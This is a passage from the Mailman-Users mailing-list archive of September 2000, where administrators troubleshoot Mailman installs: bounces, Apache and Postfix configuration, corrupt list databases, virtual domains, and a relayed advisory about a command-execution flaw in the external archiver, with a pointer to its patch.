> I was wondering if anybody has compiled mailman against Python 1.6?  Did
> mailman still function as expected?  Did the above mentioned bug seem to be
> fixed?
> 
> I use FreeBSD 4.1, postfix-19991231 patch level 8 - and of course, Python
> 1.5.2.  I have had to remove my Mailman implementation and go back to
> majordomo because this aweful bug was causing me to manually kill qrunner
> because it hangs on anything bigger than about 50K.
> 
> I am willing to tryout patches or any ideas somebody may have :)

Latest Mailman CVS has a patch that might work (released this
afternoon)

See the new smtplib.py




From veldy at veldy.net  Tue Sep 12 05:00:49 2000
From: veldy at veldy.net (Thomas T. Veldhouse)
Date: Mon, 11 Sep 2000 22:00:49 -0500
Subject: [Mailman-Users] Mailman message size bug? - How about Python 1.6?
References: <200009120200.TAA00658@utopia.west.sun.com>
Message-ID: <39BD9C61.BD5DF718@veldy.net>

Yes - it works perfectly!!!

Tom Veldhouse
veldy at veldy.net

Dan Mick wrote:

> > I just noticed that nobody has really seemed to address this problem of
> > "lost attachments 50K +" and them hanging the list.  I have noticed that it
> > seems to happen for the versions of mailman deployed under FreeBSD 4.x.
> >
> > I was wondering if anybody has compiled mailman against Python 1.6?  Did
> > mailman still function as expected?  Did the above mentioned bug seem to be
> > fixed?
> >
> > I use FreeBSD 4.1, postfix-19991231 patch level 8 - and of course, Python
> > 1.5.2.  I have had to remove my Mailman implementation and go back to
> > majordomo because this aweful bug was causing me to manually kill qrunner
> > because it hangs on anything bigger than about 50K.
> >
> > I am willing to tryout patches or any ideas somebody may have :)
>
> Latest Mailman CVS has a patch that might work (released this
> afternoon)
>
> See the new smtplib.py




From aaryn at Ag.Arizona.Edu  Tue Sep 12 06:22:22 2000
From: aaryn at Ag.Arizona.Edu (Aaryn Olsson)
Date: Mon, 11 Sep 2000 21:22:22 -0700 (MST)
Subject: [Mailman-Users] bounces from nonlocal users
In-Reply-To: <200009120330.UAA02329@utopia.west.sun.com>
Message-ID: <Pine.GSO.4.10.10009112114550.29619-100000@Ag.Arizona.Edu>

Dan, 

Thanks for the help.  I didn't see the last 2 lines of your first
message; I'm unfortunately using Windows telnet and having terminal
issues.  Anyway, it looks to have been a sendmail problem as you
suggested.

Hopefully that will get us back on track for the long haul.

Thanks again!
Aaryn

On Mon, 11 Sep 2000, Dan Mick wrote:

> Date: Mon, 11 Sep 2000 20:31:49 -0700 (PDT)
> From: Dan Mick <Dan.Mick at West.Sun.COM>
> To: aaryn at Ag.Arizona.Edu
> Subject: Re: [Mailman-Users] bounces from nonlocal users
> 
> 
> > Date: Mon, 11 Sep 2000 19:05:54 -0700 (MST)
> > From: Aaryn Olsson <aaryn at Ag.Arizona.Edu>
> > To: Dan Mick <Dan.Mick at west.sun.com>
> > Subject: Re: [Mailman-Users] bounces from nonlocal users
> > 
> > Thanks, but why would this be happening?  
> 
> You can't really be asking me the question "why is email bouncing",
> so what do you really mean to ask?...
> 
> > Where can I look for more
> > information?  
> 
> I did say "the MTA logs" below, didn't I?....
> 
> 
> > Who will get a copy of the bounce?
> 
> The original sender of the message, which for list messages is
> the list owner, which triggers the bounce processing.
> 
> There is a setting to turn off bounce processing, which would
> make all bounces (presumably) get sent to the list owner, so 
> you could see them.
> 
> > Thanks,
> > Aaryn
> > 
> > On Mon, 11 Sep 2000, Dan Mick wrote:
> > 
> > > Date: Mon, 11 Sep 2000 18:57:00 -0700 (PDT)
> > > From: Dan Mick <Dan.Mick at West.Sun.COM>
> > > To: aaryn at Ag.Arizona.Edu
> > > Subject: Re: [Mailman-Users] bounces from nonlocal users
> > > 
> > > 
> > > > Hello,
> > > > 
> > > > I just created a new list and mail to users not on this machine bounces.
> > > > These are the 5 entries that failed, according to the bounce file: all 5
> > > > nonlocal email addresses. Here is one for the owner of the list:
> > > > 
> > > > Sep 11 18:17:01 2000 (25474) Gso: krl at email.arizona.edu - 3 more allowed
> > > > over 429676 secs
> > > > 
> > > > What does this mean? 
> > > 
> > > It means that 3 more bounces will be allowed to that address over the
> > > next 429676 seconds, and then the corrective action will be taken
> > > (notification, setting "nomail", or unsubbing, or some combination
> > > thereof).
> > > 
> > > > Regular mail sent to these users goes through
> > > > without a hitch.  
> > > 
> > > You need to find out why the mail is bouncing.  Perhaps your
> > > MTA logs will help.  Or perhaps the recipient's MTA logs will.
> > > 
> 
> 





From lindsey at mallorn.com  Tue Sep 12 09:40:04 2000
From: lindsey at mallorn.com (Christopher P. Lindsey)
Date: Tue, 12 Sep 2000 02:40:04 -0500
Subject: [Mailman-Users] external archiver query
In-Reply-To: <20000911131528.B15194@scc.mi.org>; from peewee@scc.mi.org on Mon, Sep 11, 2000 at 01:15:28PM -0700
References: <20000911131528.B15194@scc.mi.org>
Message-ID: <20000912024004.A28037@mallorn.com>

> The problem is that the MIME type on attachements is getting set
> incorrectly:
> 
> balance:~ ] lynx -head -dump http://server/mailman/private/test/jpg00000.jpg
> 
> If I copy the attachment outside of the mailman directory, the MIME type
> is correct:
> 
> balance:~ ] lynx -head -dump http://server/jpg00000.jpg
> 
> Is this a bug, or do I need to move the archive directories outside of
> the Mailman heirarchy?

Chances are you have a ScriptAlias (or its equivalent) rewriting 
/mailman to a directory containing executable Mailman CGI scripts.  That
means that /mailman/private is now being interpreted by a CGI script, not
by Apache.  Since Mailman doesn't know anything about MIME types, it
ignores them.

In the latter case, you're only relying on Apache's interpretation of
MIME issues, so it works.  

Basically, move it to a different directory...  Or Alias /mailman/private
to the new directory.

Chris



From R.A.Gardener at shu.ac.uk  Tue Sep 12 10:13:11 2000
From: R.A.Gardener at shu.ac.uk (Ray Gardener)
Date: Tue, 12 Sep 2000 09:13:11 +0100
Subject: [Mailman-Users] Mailman 1.1 contains root vulnerability?
Message-ID: <39BDE596.B9ABA485@shu.ac.uk>

The NW Security and bug patch alert reports

_______________________________________________

Mailman 1.1 contains root vulnerability

The mailing list server Mailman 1.1 contains a vulnerability
that could allow an external user to execute commands as root.
The problem affects those that have the external archiving
command turned on. For a patch:
http://sourceforge.net/patch/?group_id=103
_______________________________________________

When clicking on the URL a patch or description is not presented. Can
someone supply a URL that will give me more info, please?

Regards

Ray Gardener
Systems Support
Sheffield Hallam University
(44) 114 225 4926






From lindsey at mallorn.com  Tue Sep 12 10:20:28 2000
From: lindsey at mallorn.com (Christopher P. Lindsey)
Date: Tue, 12 Sep 2000 03:20:28 -0500
Subject: [Mailman-Users] Mailman 1.1 contains root vulnerability?
In-Reply-To: <39BDE596.B9ABA485@shu.ac.uk>; from R.A.Gardener@shu.ac.uk on Tue, Sep 12, 2000 at 09:13:11AM +0100
References: <39BDE596.B9ABA485@shu.ac.uk>
Message-ID: <20000912032028.C28037@mallorn.com>

> The mailing list server Mailman 1.1 contains a vulnerability
> that could allow an external user to execute commands as root.

That's not quite right.  It will execute commands as whatever uid
the Web server runs under.

> When clicking on the URL a patch or description is not presented. Can
> someone supply a URL that will give me more info, please?

http://www.python.org/pipermail/mailman-users/2000-September/007226.html

There were followup postings that offered alternative solutions, although
the patch in the message above is the one in the current Beta tree (or 
at least the last time that I looked :)

Chris



From jarrell at vt.edu  Tue Sep 12 18:27:21 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Tue, 12 Sep 2000 12:27:21 -0400
Subject: [Mailman-Users] forgot my admin password
In-Reply-To: <000911152154.ZM25588@exter>
References: <mailman-users-request@python.org "Mailman-Users digest, Vol 1 #737 - 10 msgs" (Sep  6, 12:02pm)>
 <20000906160200.81E811CF4C@dinsdale.python.org>
Message-ID: <4.3.2.7.2.20000912122659.032a6e20@vtserf.cc.vt.edu>

At 03:21 PM 9/11/00 +0200, Roland Krause wrote:
>Hi,
>
>I'm a member and the administrator of an email list. I forgot my admin
>password.
>Is there a way to get it from mailman?

No, but your site administrator can use the site password to change it for you.
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From jarrell at vt.edu  Tue Sep 12 18:29:45 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Tue, 12 Sep 2000 12:29:45 -0400
Subject: [Mailman-Users] User control over newlist?
In-Reply-To: <000001c01c56$076ca620$0401a8c0@IBMPEERS>
Message-ID: <4.3.2.7.2.20000912122842.031319a0@vtserf.cc.vt.edu>

At 09:08 PM 9/11/00 -0400, Scott Brown wrote:
>Does anyone have any enhancement to allow user creation of new lists via a
>web interface?
>
>I'd rather not reinvent the wheel and deal with the security headaches if
>not needed....

It's been suggested before but not implemented...

Primarily because there's not a single clean mechanism for getting the aliases into the
system after the list is created...
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From dgc at uchicago.edu  Tue Sep 12 21:05:15 2000
From: dgc at uchicago.edu (David Champion)
Date: Tue, 12 Sep 2000 14:05:15 -0500
Subject: [Mailman-Users] Re: User control over newlist?
In-Reply-To: <4.3.2.7.2.20000912122842.031319a0@vtserf.cc.vt.edu>; from jarrell@vt.edu on Tue, Sep 12, 2000 at 12:29:45PM -0400
References: <000001c01c56$076ca620$0401a8c0@IBMPEERS> <4.3.2.7.2.20000912122842.031319a0@vtserf.cc.vt.edu>
Message-ID: <20000912140514.R3093@smack.uchicago.edu>

On 2000.09.12, in <4.3.2.7.2.20000912122842.031319a0 at vtserf.cc.vt.edu>,
	"Ron Jarrell" <jarrell at vt.edu> wrote:
> 
> Primarily because there's not a single clean mechanism for getting the aliases into the
> system after the list is created...

But with exim and sendmail (at least) that's not even necessary.

-- 
 -D.	dgc at uchicago.edu	NSIT	University of Chicago



From scott-brown at home.com  Tue Sep 12 23:23:19 2000
From: scott-brown at home.com (Scott Brown)
Date: Tue, 12 Sep 2000 17:23:19 -0400
Subject: [Mailman-Users] Re: User control over newlist?
In-Reply-To: <20000912140514.R3093@smack.uchicago.edu>
Message-ID: <003001c01cff$ac9bbe20$0401a8c0@IBMPEERS>

I'm not sure where you're coming from with this...

At least, in theory, I should be able to trigger a
"/home/mailman/bin/newlist <params> immediate" (if the permissions are ok)
from a cgi backend, and capture the output, to parse out the required names
(or error)... but it seems to me that adding to the /etc/aliases or
/etc/mail/virtusertable (and then running the appropriate commands to reinit
sendmail with the new aliases) will require root priveledges which arent
available to the nobody/nobody account that apache runs in.

Is there something that I've missed along the way?

> -----Original Message-----
> From: mailman-users-admin at python.org
> [mailto:mailman-users-admin at python.org]On Behalf Of David Champion
> Sent: Tuesday, September 12, 2000 3:05 PM
> To: Ron Jarrell
> Cc: Scott Brown; Mailman-Users at python.org
> Subject: [Mailman-Users] Re: User control over newlist?
>
>
> On 2000.09.12, in
> <4.3.2.7.2.20000912122842.031319a0 at vtserf.cc.vt.edu>,
> 	"Ron Jarrell" <jarrell at vt.edu> wrote:
> >
> > Primarily because there's not a single clean mechanism for
> getting the aliases into the
> > system after the list is created...
>
> But with exim and sendmail (at least) that's not even necessary.
>
> --
>  -D.	dgc at uchicago.edu	NSIT	University of Chicago
>
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users




From tauren at servlets.net  Wed Sep 13 05:42:05 2000
From: tauren at servlets.net (Tauren Mills)
Date: Tue, 12 Sep 2000 20:42:05 -0700
Subject: [Mailman-Users] Unsubscribe bug
Message-ID: <NBBBLBKDJMGDNPMDGAABCEHIMNAA.tauren@servlets.net>

I've seen reports of this before, but can't seem to locate any solutions in
the archives.  Perhaps someone can point me in the right direction.

We have a customer using Mailman.  They have reported that several members
of their list have unsubscribed but still continue to get the monthly
password reminder.  When they attempt to locate the previous member's email
address, it is nowhere to be found.

This is really upsetting both the previous members of the list and my
customer.  Any suggestions how this can be resolved?

Thanks!

Tauren




From jeff at shultzinfosystems.com  Wed Sep 13 06:35:09 2000
From: jeff at shultzinfosystems.com (Jeff Shultz)
Date: Tue, 12 Sep 2000 21:35:09 -0700
Subject: [Mailman-Users] Getting Apache to let Mailman run...
Message-ID: <20000913042357.14C5257ACD@taz.shultzinfosystems.com>

Okay, I'm still in the neophyte category when it comes to most things on Linux. I'm running Mandrake 7.1 (with a lot of 
updates), Apache 1.3.x (probably .9 - whatever came with Mandrake 7.1), postfix, and a few other odds and ends. This 
machine is masqueraded to the internet, with the firewall portmapping anything that needs to get through. HTTP isn't one 
of them -- my outside webserver is run on  another box entirely. 

I'm installing Mailman for my own use - I don't need a web interface, but that seems to be the only way things go with 
mailing lists. 

Right now I'm trying to get Apache to allow me access to the cgi-bin stuff to run Mailman with. I've got the ScriptAlias 
/mailman/ /home/mailman/cgi-bin/ line in the httpd.conf file (I've rebooted the machine several times, so I know it's 
taken -- I'm having a serious mental block... what is the command in Linux to get a process like httpd to stop and restart, 
rereading it's conf file?). I've added the following lines to httpd.conf:
<Directory /home/mailman/cgi-bin>
Options ExecCgi FollowSymlinks
AllowOverride AuthConfig FileInfo Indexes Limit Options
order allow,deny
allow from all
</Directory> 
The above was basically copied intact from another cgi-bin directory entry (nothing in there to test, either). 

But it keeps telling me that http://taz.shultzinfosystems.com:8080/mailman/ (and anything after this) is "Forbidden  You 
don't have permission to access /mailman(etc) on this server" 

I was able to send out a message with the newlist command... so that part works. 

Any ideas? This is getting really frustrating.

Jeff Shultz
Shultz Infosystems
www.shultzinfosystems.com





From jeff at shultzinfosystems.com  Wed Sep 13 07:13:56 2000
From: jeff at shultzinfosystems.com (Jeff Shultz)
Date: Tue, 12 Sep 2000 22:13:56 -0700
Subject: [Mailman-Users] Getting Apache to let Mailman run...
In-Reply-To: <20000913042357.14C5257ACD@taz.shultzinfosystems.com>
Message-ID: <20000913050243.70B5457ADC@taz.shultzinfosystems.com>

Okay - I kept pounding at it, and somehow now it works (this is after a
full afternoon and two reinstalls) with Apache. Now to see about taking
care of the Postfix problem - even with the solution mentioned in the
install instructions, I'm still getting: 
			The Postfix program

<test-request at taz.shultzinfosystems.com>: Command died with status 2:
    "/home/mailman/mail/wrapper mailcmd test". Command output: Failure
to exec
    script. WANTED gid 12, GOT gid 99.  (Reconfigure to take 99?)

12 is the gid for "mail" (I configured --with-mail-gid=12) and 99 is
"nobody" (--with-cgi-gid=99). 

Guess I'll see if I got that alias file set up properly. 

On Tue, 12 Sep 2000 21:35:09 -0700, Jeff Shultz wrote:

>Okay, I'm still in the neophyte category when it comes to most things on Linux. I'm running Mandrake 7.1 (with a lot of 
>updates), Apache 1.3.x (probably .9 - whatever came with Mandrake 7.1), postfix, and a few other odds and ends. This 
>machine is masqueraded to the internet, with the firewall portmapping anything that needs to get through. HTTP isn't one 
>of them -- my outside webserver is run on  another box entirely. 
>
>I'm installing Mailman for my own use - I don't need a web interface, but that seems to be the only way things go with 
>mailing lists. 
>
>Right now I'm trying to get Apache to allow me access to the cgi-bin stuff to run Mailman with. I've got the ScriptAlias 
>/mailman/ /home/mailman/cgi-bin/ line in the httpd.conf file (I've rebooted the machine several times, so I know it's 
>taken -- I'm having a serious mental block... what is the command in Linux to get a process like httpd to stop and restart, 
>rereading it's conf file?). I've added the following lines to httpd.conf:
><Directory /home/mailman/cgi-bin>
>Options ExecCgi FollowSymlinks
>AllowOverride AuthConfig FileInfo Indexes Limit Options
>order allow,deny
>allow from all
></Directory> 
>The above was basically copied intact from another cgi-bin directory entry (nothing in there to test, either). 
>
>But it keeps telling me that http://taz.shultzinfosystems.com:8080/mailman/ (and anything after this) is "Forbidden  You 
>don't have permission to access /mailman(etc) on this server" 
>
>I was able to send out a message with the newlist command... so that part works. 
>
>Any ideas? This is getting really frustrating.
>
>Jeff Shultz
>Shultz Infosystems
>www.shultzinfosystems.com
>
>
>
>------------------------------------------------------
>Mailman-Users maillist  -  Mailman-Users at python.org
>http://www.python.org/mailman/listinfo/mailman-users
>

Jeff Shultz
Shultz Infosystems
www.shultzinfosystems.com

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From jeff at shultzinfosystems.com  Wed Sep 13 08:34:52 2000
From: jeff at shultzinfosystems.com (Jeff Shultz)
Date: Tue, 12 Sep 2000 23:34:52 -0700
Subject: [Mailman-Users] Don't you love new users?
In-Reply-To: <20000913042357.14C5257ACD@taz.shultzinfosystems.com>
Message-ID: <20000913062340.4FFBE57ACD@taz.shultzinfosystems.com>

Okay... wierd things. I think I may have gotten past the Postfix
problem... for some reason it wanted gid = 99, so I gave it 99. Who am
I to argue? 

The problem is now, when I try to acknowledge membership in a list, or
run anything remotely through e-mail, nothing happens. Well, at least
nothing I can see from the outside. However, I stumbled across a set of
entries in the syslog which seem to correspond with each of my attempts
- I pushed a couple to make sure:
Sep 12 23:12:54 taz automount[547]: attempting to mount entry
/misc/.directory
Sep 12 23:12:54 taz automount[3155]: lookup(file): looking up
.directory
Sep 12 23:12:54 taz automount[3155]: lookup for .directory failed

Anyone know why the wrappers/python programs are trying to access a
file that doesn't exist in /misc ? 

Jeff Shultz
Shultz Infosystems
www.shultzinfosystems.com





From mentor at alb-net.com  Wed Sep 13 16:14:27 2000
From: mentor at alb-net.com (Mentor Cana)
Date: Wed, 13 Sep 2000 10:14:27 -0400 (EDT)
Subject: [Mailman-Users] latest CVS... Microsoft.py problem...
Message-ID: <Pine.GSO.4.21.0009131010460.29561-100000@alb-net.com>

---
Sep 13 01:36:02 2000 qrunner(20382): Traceback (innermost last):
Sep 13 01:36:02 2000 qrunner(20382):   File "/opt/home/mailman/cron/qrunner", line 276, in ?
Sep 13 01:36:02 2000 qrunner(20382):      kids = main(lock)
Sep 13 01:36:02 2000 qrunner(20382):   File "/opt/home/mailman/cron/qrunner", line 245, in main
Sep 13 01:36:02 2000 qrunner(20382):      keepqueued = dispose_message(mlist, msg, msgdata)
Sep 13 01:36:02 2000 qrunner(20382):   File "/opt/home/mailman/cron/qrunner", line 121, in dispose_message
Sep 13 01:36:02 2000 qrunner(20382):      if BouncerAPI.ScanMessages(mlist, mimemsg):
Sep 13 01:36:02 2000 qrunner(20382):   File "/opt/home/mailman/Mailman/Bouncers/BouncerAPI.py", line 56, in ScanMessages
Sep 13 01:36:02 2000 qrunner(20382):      addrs = func(msg)
Sep 13 01:36:02 2000 qrunner(20382):   File "/opt/home/mailman/Mailman/Bouncers/Microsoft.py", line 51, in process
Sep 13 01:36:02 2000 qrunner(20382):      line = mfile.readline()
Sep 13 01:36:02 2000 qrunner(20382):   File "/usr/local/lib/python1.5/multifile.py", line 77, in readline
Sep 13 01:36:02 2000 qrunner(20382):      raise Error, 'sudden EOF in MultiFile.readline()'
Sep 13 01:36:02 2000 qrunner(20382): multifile.Error :  sudden EOF in MultiFile.readline() 
---




From scott at emji.net  Wed Sep 13 17:05:41 2000
From: scott at emji.net (Scott R. Every)
Date: Wed, 13 Sep 2000 11:05:41 -0400
Subject: [Mailman-Users] mailman 2.0b5 problems(URGENT)
Message-ID: <13359708.3177831941@sdhcp3.emji.net>

getting this error when trying to access my list:
Sep 13 11:00:06 2000 (23508) overtons_html db file was corrupt, using 
fallback:
/home/mailman/lists/overtons_html/config.db.last
Sep 13 11:00:13 2000 (23508) overtons_html fallback was corrupt, giving up
Sep 13 11:00:13 2000 gate_news(23508): Traceback (innermost last):
Sep 13 11:00:13 2000 gate_news(23508):   File 
"/home/mailman/cron/gate_news", li
ne 225, in ?
Sep 13 11:00:13 2000 gate_news(23508):      main()
Sep 13 11:00:13 2000 gate_news(23508):   File 
"/home/mailman/cron/gate_news", li
ne 203, in main
Sep 13 11:00:13 2000 gate_news(23508):      process_lists(lock)
Sep 13 11:00:13 2000 gate_news(23508):   File 
"/home/mailman/cron/gate_news", li
ne 140, in process_lists
Sep 13 11:00:13 2000 gate_news(23508):      mlist = 
MailList.MailList(listname,
lock=0)
Sep 13 11:00:13 2000 gate_news(23508):   File 
"/home/mailman/Mailman/MailList.py
", line 77, in __init__
Sep 13 11:00:13 2000 gate_news(23508):      self.Load()
Sep 13 11:00:13 2000 gate_news(23508):   File 
"/home/mailman/Mailman/MailList.py
", line 893, in Load
Sep 13 11:00:13 2000 gate_news(23508):      raise 
Errors.MMCorruptListDatabaseEr
ror, e
Sep 13 11:00:13 2000 gate_news(23508): Mailman.Errors . 
MMCorruptListDatabaseErr
or :  bad marshal data

now, the problem is i have a client who needs to send a message to the list 
which is not working.  it was working fine yesterday.  does anyone have any 
suggestions?  i checked the FAQ, but saw nothing related to 'marshal data'

thanx

s

--
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EMJ Internet - http://www.emji.net
voice : 1-888-258-8959  fax : 1-919-363-4425



From kevin at maxson.com  Wed Sep 13 17:47:18 2000
From: kevin at maxson.com (Kevin of Thornbury)
Date: Wed, 13 Sep 2000 11:47:18 -0400
Subject: [Mailman-Users] mailman 2.0b5 problems(URGENT)
References: <13359708.3177831941@sdhcp3.emji.net>
Message-ID: <39BFA186.272DE98@maxson.com>

"Scott R. Every" wrote:
> 
> i checked the FAQ, but saw nothing related to 'marshal data'
> 
> thanx
> 
> s

I have the exact same problem, and am no closer to fixing it than you. 
I've got 2.0b5 and RedHat 6.1.
_____
|_|_|  Kevin Maxson     (Lord Kevin of Thornbury)
| | |  Electronic Publications Manager, SCA, Inc.
 \|/   kevin at maxson.com       http://www.sca.org



From thomas at ifi.uio.no  Wed Sep 13 18:25:35 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Wed, 13 Sep 2000 18:25:35 +0200
Subject: [Mailman-Users] membership list
Message-ID: <MM.968862335.4136.solva@ifi.uio.no>

The admin membership page displays 30 subscribers at a time
by default.  Can this default be changed, overall or per list?

Thomas Gramstad
thomas at ifi.uio.no



From thomas at ifi.uio.no  Wed Sep 13 18:32:58 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Wed, 13 Sep 2000 18:32:58 +0200
Subject: [Mailman-Users] The Handkiller
Message-ID: <MM.968862778.4136.solva@ifi.uio.no>

After our university decided to change from Majordomo to Mailman,
my hands hurt by the end of every day.  Mailman requires tens or
hundreds of mouse clicks for the smallest operation.  I'm a CLI
guy.  In my life I've managed to reduce mouse clicking to a
minimum.  But now Mailman is killing my hands.  Is there
absolutely nothing I (as a list administrator) can do by E-mail?
At the very minimum, is there any settings I can choose that will
reduce the number of necessary mouse clicks to an absolute
minimum?

Thomas Gramstad
thomas at ifi.uio.no



From dennis at StartSpot.com  Wed Sep 13 18:41:43 2000
From: dennis at StartSpot.com (Dennis Director)
Date: Wed, 13 Sep 2000 11:41:43 -0500 (CDT)
Subject: [Mailman-Users] any way to unsubscr-be without a passw-rd
Message-ID: <Pine.LNX.4.21.0009131139230.15009-100000@irack.is3.com>

I tried this question once before but got now reply.
Is there a way to enable mebers to unsubscr-be with knowing or looking
up the passw-rd that they were emailed when they joined.  I have had
complaints from some users that it too burdensome.

Thanks.




From blurr at txraves.org  Wed Sep 13 18:56:55 2000
From: blurr at txraves.org (jordan)
Date: Wed, 13 Sep 2000 11:56:55 -0500
Subject: [Mailman-Users] any way to unsubscr-be without a passw-rd
References: <Pine.LNX.4.21.0009131139230.15009-100000@irack.is3.com>
Message-ID: <01ed01c01da3$a21a6f10$362518d0@jordan>

i second that. having a Confirm option in addition to Password 
would be swell.

] jordan
] blurr at txraves.org
] http://www.txraves.org/

"a closed mind is a wonderful thing to lose"

----- Original Message ----- 
From: "Dennis Director" <dennis at StartSpot.com>
To: <mailman-users at python.org>
Sent: Wednesday, September 13, 2000 11:41 AM
Subject: [Mailman-Users] any way to unsubscr-be without a passw-rd


> 
> I tried this question once before but got now reply.
> Is there a way to enable mebers to unsubscr-be with knowing or looking
> up the passw-rd that they were emailed when they joined.  I have had
> complaints from some users that it too burdensome.
> 
> Thanks.
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users




From shane at exis.net  Wed Sep 13 20:33:26 2000
From: shane at exis.net (Shane Snedecor)
Date: Wed, 13 Sep 2000 14:33:26 -0400 (EDT)
Subject: [Mailman-Users] Virtual Domains
Message-ID: <Pine.LNX.4.21.0009131432520.11434-100000@tarpon.exis.net>

Has any one set up lists for virtual domains, couldn't find anything in
the docs on how to do this. Thanks in advance.

Shaen

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From jarrell at vt.edu  Wed Sep 13 20:38:23 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Wed, 13 Sep 2000 14:38:23 -0400
Subject: [Mailman-Users] any way to unsubscr-be without a passw-rd
In-Reply-To: <Pine.LNX.4.21.0009131139230.15009-100000@irack.is3.com>
Message-ID: <5.0.0.25.2.20000913143755.05823b90@vtserf.cc.vt.edu>

At 11:41 AM 9/13/00 -0500, Dennis Director wrote:

>I tried this question once before but got now reply.
>Is there a way to enable mebers to unsubscr-be with knowing or looking
>up the passw-rd that they were emailed when they joined.  I have had
>complaints from some users that it too burdensome.

The list administrator can always do it without their password. 
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From jarrell at vt.edu  Wed Sep 13 20:52:28 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Wed, 13 Sep 2000 14:52:28 -0400
Subject: [Mailman-Users] Virtual Domains
In-Reply-To: <Pine.LNX.4.21.0009131432520.11434-100000@tarpon.exis.net>
Message-ID: <5.0.0.25.2.20000913145209.0574bb50@vtserf.cc.vt.edu>

At 02:33 PM 9/13/00 -0400, Shane Snedecor wrote:
>Has any one set up lists for virtual domains, couldn't find anything in
>the docs on how to do this. Thanks in advance.

Just fill in the field on the admin form for the preferred domain name.
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From dennis at StartSpot.com  Wed Sep 13 20:48:17 2000
From: dennis at StartSpot.com (Dennis Director)
Date: Wed, 13 Sep 2000 13:48:17 -0500 (CDT)
Subject: [Mailman-Users] any way to unsubscr-be without a passw-rd
In-Reply-To: <5.0.0.25.2.20000913143755.05823b90@vtserf.cc.vt.edu>
Message-ID: <Pine.LNX.4.21.0009131347420.16039-100000@irack.is3.com>

Yes, but the idea is for the person who has been subscribed to have an
easier way to do it ..


On Wed, 13 Sep 2000, Ron Jarrell wrote:

> At 11:41 AM 9/13/00 -0500, Dennis Director wrote:
> 
> >I tried this question once before but got now reply.
> >Is there a way to enable mebers to unsubscr-be with knowing or looking
> >up the passw-rd that they were emailed when they joined.  I have had
> >complaints from some users that it too burdensome.
> 
> The list administrator can always do it without their password. 




From lra at insite.com.br  Wed Sep 13 21:20:02 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Wed, 13 Sep 2000 16:20:02 -0300 (EST)
Subject: [Mailman-Users] Virtual Domains
In-Reply-To: <5.0.0.25.2.20000913145209.0574bb50@vtserf.cc.vt.edu>
Message-ID: <Pine.LNX.4.21.0009131602570.775-100000@fantomas.insite.com.br>

Speaking of virtual domains, I've been meaning to ask something here on
the list.

On Wed, 13 Sep 2000, Ron Jarrell wrote:

> At 02:33 PM 9/13/00 -0400, Shane Snedecor wrote:
> >Has any one set up lists for virtual domains, couldn't find anything in
> >the docs on how to do this. Thanks in advance.
> 
> Just fill in the field on the admin form for the preferred domain name.

Yes, that works and, provided you set up your web server aliases for each
virtual domain, and you don't have lists with the same name for different
domains, you shall have no problems.

In my case however, we run a massive virtual hosting service, and I wanted
to offer a mailman list service so list name collision between domains is
bound to happen very soon if I use an out of the box mailman installation.
So I was thinking in the lines of placing a mailman installation (maybe
with a different user) for each domain, but using symlinks to the code
directories, so that I can upgrade or change the code in a single place.

I could even have this setup in /etc/skel so that whenever I need to
create a new list domain, I could just type "adduser mailman-newdomain" or
something.

So, what do you guys think, and which directories would be the symlinked
and which would have to be copied?

Regards, Leo




From jeff at shultzinfosystems.com  Wed Sep 13 21:51:49 2000
From: jeff at shultzinfosystems.com (Jeff Shultz)
Date: Wed, 13 Sep 2000 12:51:49 -0700
Subject: [Mailman-Users] Mailman not responding....
In-Reply-To: <v0422081bb5e5663bc17c@[195.238.1.121]>
Message-ID: <20000913194139.4D0DC57ACF@taz.shultzinfosystems.com>

Sending to both postifx and mailman listservs....

On Wed, 13 Sep 2000 19:14:35 +0200, Brad Knowles wrote:

>At 9:32 AM -0700 2000/9/13, Jeff Shultz wrote:
>
>>  Okay, this is from my syslog:
>>  Sep 12 23:12:54 taz automount[547]: attempting to mount entry
>>  /misc/.directory
>>  Sep 12 23:12:54 taz automount[3155]: lookup(file): looking up
>>  .directory
>>  Sep 12 23:12:54 taz automount[3155]: lookup for .directory failed
>
>	This is an automount problem, and not directly related to postfix 
>or mailman.
>
>	Try putting the lists on a different filesystem (which is not 
>automounted) or blowing away the automount system completely.
>
Okay, I blew away the automount process. That stopped those error
messages. I also deleted and recreated /misc. 

Now, instead of getting that error message... everything is going into
the ether aka the bit bucket. 

It looks like I've got everything set up correctly, but when I send
stuff back through e-mail, postfix sends it onto the wrapper program...
and nothing happens. 

Internally to my network, the cgi stuff is working. The command line
stuff will send out. But when I try and send stuff in... it vaporizes. 

Any ideas? 
Jeff Shultz
Shultz Infosystems
www.shultzinfosystems.com





From mjt at tls.msk.ru  Wed Sep 13 22:09:03 2000
From: mjt at tls.msk.ru (Michael Tokarev)
Date: Thu, 14 Sep 2000 00:09:03 +0400
Subject: [Mailman-Users] Re: Mailman not responding....
References: <20000913194139.4D0DC57ACF@taz.shultzinfosystems.com>
Message-ID: <39BFDEDF.1D6F412@tls.msk.ru>

Jeff Shultz wrote:
> 
[]
> >At 9:32 AM -0700 2000/9/13, Jeff Shultz wrote:
> >
> >>  Okay, this is from my syslog:
> >>  Sep 12 23:12:54 taz automount[547]: attempting to mount entry
> >>  /misc/.directory
> >>  Sep 12 23:12:54 taz automount[3155]: lookup(file): looking up
> >>  .directory
> >>  Sep 12 23:12:54 taz automount[3155]: lookup for .directory failed
> >
> >       This is an automount problem, and not directly related to postfix
> >or mailman.
> >
> >       Try putting the lists on a different filesystem (which is not
> >automounted) or blowing away the automount system completely.
> >
> Okay, I blew away the automount process. That stopped those error
> messages. I also deleted and recreated /misc.
> 
> Now, instead of getting that error message... everything is going into
> the ether aka the bit bucket.
> 
> It looks like I've got everything set up correctly, but when I send
> stuff back through e-mail, postfix sends it onto the wrapper program...
> and nothing happens.
> 
> Internally to my network, the cgi stuff is working. The command line
> stuff will send out. But when I try and send stuff in... it vaporizes.

What software used when that problem occurs?  What other logs says?
What's your configuration?
Why, at the end, your mail delivery wanted to do something with /misc
automounted directory?!



From jeff at shultzinfosystems.com  Wed Sep 13 22:25:51 2000
